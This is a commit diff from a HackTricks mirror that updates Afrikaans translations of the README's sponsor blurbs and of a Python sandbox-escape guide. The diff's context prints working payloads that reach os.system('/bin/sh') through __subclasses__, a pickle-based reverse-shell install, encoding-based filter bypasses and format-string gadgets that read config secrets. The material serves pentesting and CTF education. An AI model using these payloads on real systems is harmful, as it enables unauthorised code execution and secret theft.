mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-21 20:23:18 +00:00
Translated ['README.md', 'generic-methodologies-and-resources/python/byp
This commit is contained in:
parent
0700a55e1f
commit
25cbc886d3
31 changed files with 469 additions and 471 deletions
12
README.md
12
README.md
|
@ -20,7 +20,7 @@ Om te begin, volg hierdie bladsy waar jy die **tipiese vloei** sal vind wat **jy
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**STM Cyber**](https://www.stmcyber.com) is 'n uitstekende kuberveiligheidsmaatskappy wie se leuse is **HACK THE UNHACKABLE**. Hulle voer hul eie navorsing uit en ontwikkel hul eie hacking gereedskap om **verskeie waardevolle kuberveiligheidsdienste** soos pentesting, Red teams en opleiding aan te bied.
|
[**STM Cyber**](https://www.stmcyber.com) is 'n uitstekende kuberveiligheid maatskappy wie se leuse is **HACK THE UNHACKABLE**. Hulle voer hul eie navorsing uit en ontwikkel hul eie hacking gereedskap om **verskeie waardevolle kuberveiligheid dienste** soos pentesting, Red teams en opleiding aan te bied.
|
||||||
|
|
||||||
Jy kan hul **blog** in [**https://blog.stmcyber.com**](https://blog.stmcyber.com) nagaan.
|
Jy kan hul **blog** in [**https://blog.stmcyber.com**](https://blog.stmcyber.com) nagaan.
|
||||||
|
|
||||||
|
@ -81,9 +81,9 @@ Sluit by die [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) be
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Kry 'n hacker se perspektief op jou web toepassings, netwerk, en wolk
|
**Kry 'n hacker se perspektief op jou web toepassings, netwerk, en wolk**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, exploitable kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanval oppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om voorregte te verhoog, en gebruik geoutomatiseerde exploits om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
**Vind en rapporteer kritieke, exploitable kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanval oppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde exploits om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
@ -99,7 +99,7 @@ Sluit by die [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) be
|
||||||
**SerpApi** bied vinnige en maklike regstydse API's om **toegang tot soekenjinresultate** te verkry. Hulle scrape soekenjins, hanteer proxies, los captchas op, en parse al die ryk gestructureerde data vir jou.
|
**SerpApi** bied vinnige en maklike regstydse API's om **toegang tot soekenjinresultate** te verkry. Hulle scrape soekenjins, hanteer proxies, los captchas op, en parse al die ryk gestructureerde data vir jou.
|
||||||
|
|
||||||
'n Subskripsie op een van SerpApi se planne sluit toegang tot meer as 50 verskillende API's in vir die scraping van verskillende soekenjins, insluitend Google, Bing, Baidu, Yahoo, Yandex, en meer.\
|
'n Subskripsie op een van SerpApi se planne sluit toegang tot meer as 50 verskillende API's in vir die scraping van verskillende soekenjins, insluitend Google, Bing, Baidu, Yahoo, Yandex, en meer.\
|
||||||
In teenstelling met ander verskaffers, **scrape SerpApi nie net organiese resultate nie**. SerpApi antwoorde sluit konsekwent al die advertensies, inline beelde en video's, kennisgrafieke, en ander elemente en funksies wat in die soekresultate teenwoordig is, in.
|
In teenstelling met ander verskaffers, **SerpApi scrape nie net organiese resultate nie**. SerpApi antwoorde sluit konsekwent al die advertensies, inline beelde en video's, kennis grafieke, en ander elemente en funksies wat in die soekresultate teenwoordig is, in.
|
||||||
|
|
||||||
Huidige SerpApi kliënte sluit **Apple, Shopify, en GrubHub** in.\
|
Huidige SerpApi kliënte sluit **Apple, Shopify, en GrubHub** in.\
|
||||||
Vir meer inligting, kyk na hul [**blog**](https://serpapi.com/blog/)**,** of probeer 'n voorbeeld in hul [**speelgrond**](https://serpapi.com/playground)**.**\
|
Vir meer inligting, kyk na hul [**blog**](https://serpapi.com/blog/)**,** of probeer 'n voorbeeld in hul [**speelgrond**](https://serpapi.com/playground)**.**\
|
||||||
|
@ -111,7 +111,7 @@ Jy kan **'n gratis rekening** [**hier**](https://serpapi.com/users/sign\_up)**.*
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**WebSec**](https://websec.nl) is 'n professionele kuberveiligheidsmaatskappy gebaseer in **Amsterdam** wat help om **besighede** **oor die wêreld** teen die nuutste kuberveiligheidsbedreigings te beskerm deur **offensiewe-sekuriteit dienste** met 'n **moderne** benadering te bied.
|
[**WebSec**](https://websec.nl) is 'n professionele kuberveiligheid maatskappy gebaseer in **Amsterdam** wat help om **besighede** **oor die wêreld** teen die nuutste kuberveiligheid bedreigings te beskerm deur **offensiewe-sekuriteit dienste** met 'n **moderne** benadering te bied.
|
||||||
|
|
||||||
WebSec is 'n **alles-in-een sekuriteitsmaatskappy** wat beteken hulle doen dit alles; Pentesting, **Sekuriteit** Oudit, Bewustheidsopleiding, Phishing Campagnes, Kode Hersiening, Exploit Ontwikkeling, Sekuriteit Eksperte Uitsourcing en nog baie meer.
|
WebSec is 'n **alles-in-een sekuriteitsmaatskappy** wat beteken hulle doen dit alles; Pentesting, **Sekuriteit** Oudit, Bewustheidsopleiding, Phishing Campagnes, Kode Hersiening, Exploit Ontwikkeling, Sekuriteit Eksperte Uitsourcing en nog baie meer.
|
||||||
|
|
||||||
|
@ -123,7 +123,7 @@ Benewens die bogenoemde is WebSec ook 'n **toegewyde ondersteuner van HackTricks
|
||||||
|
|
||||||
## Lisensie & Vrywaring
|
## Lisensie & Vrywaring
|
||||||
|
|
||||||
Kyk hulle in:
|
Kyk na hulle in:
|
||||||
|
|
||||||
{% content-ref url="welcome/hacktricks-values-and-faq.md" %}
|
{% content-ref url="welcome/hacktricks-values-and-faq.md" %}
|
||||||
[hacktricks-values-and-faq.md](welcome/hacktricks-values-and-faq.md)
|
[hacktricks-values-and-faq.md](welcome/hacktricks-values-and-faq.md)
|
||||||
|
|
|
@ -17,9 +17,9 @@ Leer & oefen GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" da
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om voorregte te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
@ -65,7 +65,7 @@ system('ls')
|
||||||
Onthou dat die _**open**_ en _**read**_ funksies nuttig kan wees om **lêers** binne die python sandbox te **lees** en om **kode** te **skryf** wat jy kan **uitvoer** om die sandbox te **omseil**.
|
Onthou dat die _**open**_ en _**read**_ funksies nuttig kan wees om **lêers** binne die python sandbox te **lees** en om **kode** te **skryf** wat jy kan **uitvoer** om die sandbox te **omseil**.
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
**Python2 input()** funksie laat toe dat python kode uitgevoer word voordat die program ineenstort.
|
**Python2 input()** funksie laat toe om python kode uit te voer voordat die program ineenstort.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Python probeer om **biblioteke van die huidige gids eerste te laai** (die volgende opdrag sal wys waar python modules laai): `python3 -c 'import sys; print(sys.path)'`
|
Python probeer om **biblioteke van die huidige gids eerste te laai** (die volgende opdrag sal wys waar python modules laai): `python3 -c 'import sys; print(sys.path)'`
|
||||||
|
@ -77,8 +77,8 @@ Python probeer om **biblioteke van die huidige gids eerste te laai** (die volgen
|
||||||
### Standaard pakkette
|
### Standaard pakkette
|
||||||
|
|
||||||
Jy kan 'n **lys van vooraf geïnstalleerde** pakkette hier vind: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
Jy kan 'n **lys van vooraf geïnstalleerde** pakkette hier vind: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||||
Let daarop dat jy van 'n pickle die python omgewing kan **arbitraire biblioteke** wat in die stelsel geïnstalleer is, **laat invoer**.\
|
Let daarop dat jy vanaf 'n pickle die python omgewing kan **arbitraire biblioteke** wat in die stelsel geïnstalleer is, **importeer**.\
|
||||||
Byvoorbeeld, die volgende pickle, wanneer dit gelaai word, gaan die pip biblioteek invoer om dit te gebruik:
|
Byvoorbeeld, die volgende pickle, wanneer dit gelaai word, gaan die pip biblioteek importeer om dit te gebruik:
|
||||||
```python
|
```python
|
||||||
#Note that here we are importing the pip library so the pickle is created correctly
|
#Note that here we are importing the pip library so the pickle is created correctly
|
||||||
#however, the victim doesn't even need to have the library installed to execute it
|
#however, the victim doesn't even need to have the library installed to execute it
|
||||||
|
@ -107,13 +107,13 @@ You can download the package to create the reverse shell here. Please, note that
|
||||||
{% file src="../../../.gitbook/assets/Reverse.tar (1).gz" %}
|
{% file src="../../../.gitbook/assets/Reverse.tar (1).gz" %}
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Hierdie pakket word `Reverse` genoem. Dit is egter spesiaal gemaak sodat wanneer jy die reverse shell verlaat, die res van die installasie sal misluk, so jy **sal nie enige ekstra python pakket op die bediener agterlaat** wanneer jy vertrek nie.
|
Hierdie pakket word `Reverse` genoem. Dit is egter spesiaal gemaak sodat wanneer jy die reverse shell verlaat, die res van die installasie sal misluk, sodat jy **nie enige ekstra python pakket op die bediener agterlaat** wanneer jy vertrek nie.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Eval-ing python code
|
## Eval-ing python code
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Let daarop dat exec meerlyn strings en ";", toelaat, maar eval nie (kyk walrus operator)
|
Let daarop dat exec meerlyn strings en ";", maar eval nie toelaat nie (kyk walrus operator)
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
If certain characters are forbidden you can use the **hex/octal/B64** representation to **bypass** the restriction:
|
If certain characters are forbidden you can use the **hex/octal/B64** representation to **bypass** the restriction:
|
||||||
|
@ -160,9 +160,9 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
|
||||||
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
|
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
|
||||||
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
|
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
|
||||||
```
|
```
|
||||||
## Bypass van beskermings deur kodering (UTF-7)
|
## Bypassing protections through encodings (UTF-7)
|
||||||
|
|
||||||
In [**hierdie skrywe**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) word UFT-7 gebruik om arbitrêre python kode binne 'n skynbare sandbox te laai en uit te voer:
|
In [**hierdie skrywe**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) word UFT-7 gebruik om arbitrêre python kode binne 'n blykbare sandbox te laai en uit te voer:
|
||||||
```python
|
```python
|
||||||
assert b"+AAo-".decode("utf_7") == "\n"
|
assert b"+AAo-".decode("utf_7") == "\n"
|
||||||
|
|
||||||
|
@ -173,7 +173,7 @@ return x
|
||||||
#+AAo-print(open("/flag.txt").read())
|
#+AAo-print(open("/flag.txt").read())
|
||||||
""".lstrip()
|
""".lstrip()
|
||||||
```
|
```
|
||||||
Dit is ook moontlik om dit te omseil met ander kodering, byvoorbeeld `raw_unicode_escape` en `unicode_escape`.
|
Dit is ook moontlik om dit te omseil met ander kodering, bv. `raw_unicode_escape` en `unicode_escape`.
|
||||||
|
|
||||||
## Python-uitvoering sonder oproepe
|
## Python-uitvoering sonder oproepe
|
||||||
|
|
||||||
|
@ -207,7 +207,7 @@ As jy 'n **klas kan verklaar** en 'n **objek van daardie klas kan skep**, kan jy
|
||||||
|
|
||||||
#### RCE met pasgemaakte klasse
|
#### RCE met pasgemaakte klasse
|
||||||
|
|
||||||
Jy kan sommige **klasmetodes** (_deur bestaande klasmetodes te oorlaai of 'n nuwe klas te skep_) wysig om hulle **arbitraire kode** te laat **uitvoer** wanneer hulle **geaktiveer** word sonder om hulle direk aan te roep.
|
Jy kan sommige **klasmetodes** (_deur bestaande klasmetodes te oorlaai of 'n nuwe klas te skep_) aanpas om hulle **arbitraire kode** te laat **uitvoer** wanneer hulle **geaktiveer** word sonder om hulle direk aan te roep.
|
||||||
```python
|
```python
|
||||||
# This class has 3 different ways to trigger RCE without directly calling any function
|
# This class has 3 different ways to trigger RCE without directly calling any function
|
||||||
class RCE:
|
class RCE:
|
||||||
|
@ -340,9 +340,9 @@ __builtins__.__dict__['__import__']("os").system("ls")
|
||||||
### Geen Builtins
|
### Geen Builtins
|
||||||
|
|
||||||
Wanneer jy nie `__builtins__` het nie, gaan jy nie in staat wees om enigiets te importeer of selfs lêers te lees of te skryf nie, aangesien **alle globale funksies** (soos `open`, `import`, `print`...) **nie gelaai is nie**.\
|
Wanneer jy nie `__builtins__` het nie, gaan jy nie in staat wees om enigiets te importeer of selfs lêers te lees of te skryf nie, aangesien **alle globale funksies** (soos `open`, `import`, `print`...) **nie gelaai is nie**.\
|
||||||
E however, **standaard importeer python 'n baie modules in geheue**. Hierdie modules mag onskuldig voorkom, maar sommige van hulle **importeer ook gevaarlike** funksionaliteite binne hulle wat toegang verkry kan word om selfs **arbitraire kode-uitvoering** te verkry.
|
E however, **standaard importeer python 'n baie modules in geheue**. Hierdie modules mag onskuldig voorkom, maar sommige van hulle **importeer ook gevaarlike** funksionaliteite binne-in hulle wat toegang verkry kan word om selfs **arbitraire kode-uitvoering** te verkry.
|
||||||
|
|
||||||
In die volgende voorbeelde kan jy sien hoe om **misbruik te maak** van sommige van hierdie "**onskuldige**" modules wat gelaai is om **toegang** te verkry tot **gevaarlike** **funksionaliteite** binne hulle.
|
In die volgende voorbeelde kan jy sien hoe om **misbruik** te maak van sommige van hierdie "**onskuldige**" modules wat gelaai is om **toegang** te verkry tot **gevaarlike** **funksies** binne-in hulle.
|
||||||
|
|
||||||
**Python2**
|
**Python2**
|
||||||
```python
|
```python
|
||||||
|
@ -434,7 +434,7 @@ Hier wil ek verduidelik hoe om maklik **meer gevaarlike funksies** te ontdek wat
|
||||||
|
|
||||||
#### Toegang tot subklasse met omseilings
|
#### Toegang tot subklasse met omseilings
|
||||||
|
|
||||||
Een van die sensitiefste dele van hierdie tegniek is om die **basis subklasse** te kan **toegang**. In die vorige voorbeelde is dit gedoen met `''.__class__.__base__.__subclasses__()` maar daar is **ander moontlike maniere**:
|
Een van die sensitiefste dele van hierdie tegniek is om in staat te wees om die **basis subklasse** te **toegang**. In die vorige voorbeelde is dit gedoen met `''.__class__.__base__.__subclasses__()` maar daar is **ander moontlike maniere**:
|
||||||
```python
|
```python
|
||||||
#You can access the base from mostly anywhere (in regular conditions)
|
#You can access the base from mostly anywhere (in regular conditions)
|
||||||
"".__class__.__base__.__subclasses__()
|
"".__class__.__base__.__subclasses__()
|
||||||
|
@ -469,11 +469,11 @@ Byvoorbeeld, om te weet dat met die biblioteek **`sys`** dit moontlik is om **ar
|
||||||
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
|
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
|
||||||
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
|
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
|
||||||
```
|
```
|
||||||
Daar is baie, en **ons het net een nodig** om opdragte uit te voer:
|
Daar is baie, en **ons het net een** nodig om opdragte uit te voer:
|
||||||
```python
|
```python
|
||||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
|
||||||
```
|
```
|
||||||
Ons kan dieselfde ding doen met **ander biblioteke** wat ons weet kan gebruik word om **opdragte** uit te voer:
|
Ons kan dieselfde ding doen met **ander biblioteke** waarvan ons weet dat dit gebruik kan word om **opdragte** uit te voer:
|
||||||
```python
|
```python
|
||||||
#os
|
#os
|
||||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
|
||||||
|
@ -712,12 +712,12 @@ Let op hoe jy **toegang kan verkry tot eienskappe** op 'n normale manier met 'n
|
||||||
|
|
||||||
Neem ook kennis dat jy `.__dict__` kan gebruik om elemente van 'n objek op te som `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
Neem ook kennis dat jy `.__dict__` kan gebruik om elemente van 'n objek op te som `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||||
|
|
||||||
Sommige ander interessante eienskappe van formaat stringe is die moontlikheid om **uit te voer** die **funksies** **`str`**, **`repr`** en **`ascii`** in die aangeduide objek deur **`!s`**, **`!r`**, **`!a`** onderskeidelik by te voeg:
|
Sommige ander interessante eienskappe van formaat stringe is die moontlikheid om die **funksies** **`str`**, **`repr`** en **`ascii`** in die aangeduide objek uit te voer deur **`!s`**, **`!r`**, **`!a`** onderskeidelik by te voeg:
|
||||||
```python
|
```python
|
||||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
||||||
get_name_for_avatar(st, people_obj = people)
|
get_name_for_avatar(st, people_obj = people)
|
||||||
```
|
```
|
||||||
Boonop is dit moontlik om **nuwe formateerders** in klasse te **kodeer**:
|
Boonop is dit moontlik om **nuwe formattere** in klasse te **kodeer**:
|
||||||
```python
|
```python
|
||||||
class HAL9000(object):
|
class HAL9000(object):
|
||||||
def __format__(self, format):
|
def __format__(self, format):
|
||||||
|
@ -731,7 +731,7 @@ return 'HAL 9000'
|
||||||
**Meer voorbeelde** oor **formaat** **string** voorbeelde kan gevind word in [**https://pyformat.info/**](https://pyformat.info)
|
**Meer voorbeelde** oor **formaat** **string** voorbeelde kan gevind word in [**https://pyformat.info/**](https://pyformat.info)
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Kyk ook na die volgende bladsy vir gadgets wat r**eeds sensitiewe inligting uit Python interne objek**:
|
Kyk ook na die volgende bladsy vir gadgets wat r**ead sensitiewe inligting uit Python interne objekte**:
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
{% content-ref url="../python-internal-read-gadgets.md" %}
|
{% content-ref url="../python-internal-read-gadgets.md" %}
|
||||||
|
@ -758,14 +758,14 @@ str(x) # Out: clueless
|
||||||
|
|
||||||
Volgens die [**TypeMonkey uitdagings van hierdie skrywe**](https://corgi.rip/posts/buckeye-writeups/) is dit moontlik om arbitrêre biblioteke vanaf skyf te laai deur die formaat string kwesbaarheid in python te misbruik.
|
Volgens die [**TypeMonkey uitdagings van hierdie skrywe**](https://corgi.rip/posts/buckeye-writeups/) is dit moontlik om arbitrêre biblioteke vanaf skyf te laai deur die formaat string kwesbaarheid in python te misbruik.
|
||||||
|
|
||||||
As herinnering, elke keer wanneer 'n aksie in python uitgevoer word, word 'n funksie uitgevoer. Byvoorbeeld `2*3` sal **`(2).mul(3)`** of **`{'a':'b'}['a']`** sal wees **`{'a':'b'}.__getitem__('a')`**.
|
As herinnering, elke keer wanneer 'n aksie in python uitgevoer word, word 'n funksie uitgevoer. Byvoorbeeld `2*3` sal **`(2).mul(3)`** uitvoer of **`{'a':'b'}['a']`** sal **`{'a':'b'}.__getitem__('a')`** wees.
|
||||||
|
|
||||||
Jy kan meer hiervan vind in die afdeling [**Python uitvoering sonder oproepe**](./#python-execution-without-calls).
|
Jy kan meer hiervan in die afdeling [**Python uitvoering sonder oproepe**](./#python-execution-without-calls) vind.
|
||||||
|
|
||||||
'n Python formaat string kwesbaarheid laat nie toe om funksies uit te voer nie (dit laat nie toe om haakies te gebruik nie), so dit is nie moontlik om RCE te kry soos `'{0.system("/bin/sh")}'.format(os)`.\
|
'n Python formaat string kwesbaarheid laat nie toe om 'n funksie uit te voer nie (dit laat nie toe om haakies te gebruik nie), so dit is nie moontlik om RCE te kry soos `'{0.system("/bin/sh")}'.format(os)`.\
|
||||||
Tog, dit is moontlik om `[]` te gebruik. Daarom, as 'n algemene python biblioteek 'n **`__getitem__`** of **`__getattr__`** metode het wat arbitrêre kode uitvoer, is dit moontlik om dit te misbruik om RCE te verkry.
|
Tog, dit is moontlik om `[]` te gebruik. Daarom, as 'n algemene python biblioteek 'n **`__getitem__`** of **`__getattr__`** metode het wat arbitrêre kode uitvoer, is dit moontlik om dit te misbruik om RCE te verkry.
|
||||||
|
|
||||||
Soek 'n gadget soos dit in python, die skrywe stel hierdie [**Github soeknavraag**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28\_\_getitem\_\_%7C\_\_getattr\_\_%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F\&type=code) voor. Waar hy hierdie [een](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/\_\_init\_\_.py#L463) gevind het:
|
Soek na 'n gadget soos dit in python, die skrywe stel hierdie [**Github soekquery**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28\_\_getitem\_\_%7C\_\_getattr\_\_%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F\&type=code) voor. Waar hy hierdie [een](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/\_\_init\_\_.py#L463) gevind het:
|
||||||
```python
|
```python
|
||||||
class LibraryLoader(object):
|
class LibraryLoader(object):
|
||||||
def __init__(self, dlltype):
|
def __init__(self, dlltype):
|
||||||
|
@ -787,19 +787,19 @@ return getattr(self, name)
|
||||||
cdll = LibraryLoader(CDLL)
|
cdll = LibraryLoader(CDLL)
|
||||||
pydll = LibraryLoader(PyDLL)
|
pydll = LibraryLoader(PyDLL)
|
||||||
```
|
```
|
||||||
Hierdie toestel laat toe om 'n **biblioteek vanaf die skyf** te **laai**. Daarom is dit nodig om op een of ander manier die **biblioteek te skryf of op te laai** wat korrek saamgekom is na die aangevalde bediener.
|
Hierdie toestel laat toe om **'n biblioteek vanaf die skyf** te **laai**. Daarom is dit nodig om op een of ander manier **die biblioteek te skryf of op te laai** wat korrek saamgekom is na die aangevalde bediener.
|
||||||
```python
|
```python
|
||||||
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
|
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
|
||||||
```
|
```
|
||||||
Die uitdaging misbruik eintlik 'n ander kwesbaarheid in die bediener wat toelaat om arbitrêre lêers in die bediener se skyf te skep.
|
Die uitdaging misbruik eintlik 'n ander kwesbaarheid in die bediener wat toelaat om arbitrêre lêers in die bediener se skyf te skep.
|
||||||
|
|
||||||
## Ontleed Python-Objekte
|
## Ontleding van Python-objekte
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
As jy wil **leer** oor **python bytecode** in diepte, lees hierdie **wonderlike** pos oor die onderwerp: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
As jy wil **leer** oor **python bytecode** in diepte, lees hierdie **wonderlike** pos oor die onderwerp: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
